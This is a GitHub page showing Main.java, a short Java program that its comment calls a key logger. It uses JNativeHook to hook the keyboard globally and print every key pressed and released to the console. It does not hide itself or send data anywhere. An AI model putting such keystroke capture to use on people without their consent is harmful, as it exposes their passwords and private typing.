-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.java
More file actions
34 lines (29 loc) · 961 Bytes
/
Main.java
File metadata and controls
34 lines (29 loc) · 961 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
* Main THis is key Logger Program The data are coming in log
*/
public class Main implements NativeKeyListener {
public static void main(String[] args) {
try{
GlobalScreen.registerNativeHook();
}
catch(NativeHookException e){
e.printStackTrace();
}
GlobalScreen.addNativeKeyListener(new Main());
}
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
System.out.println("Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
System.out.println("Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
}
}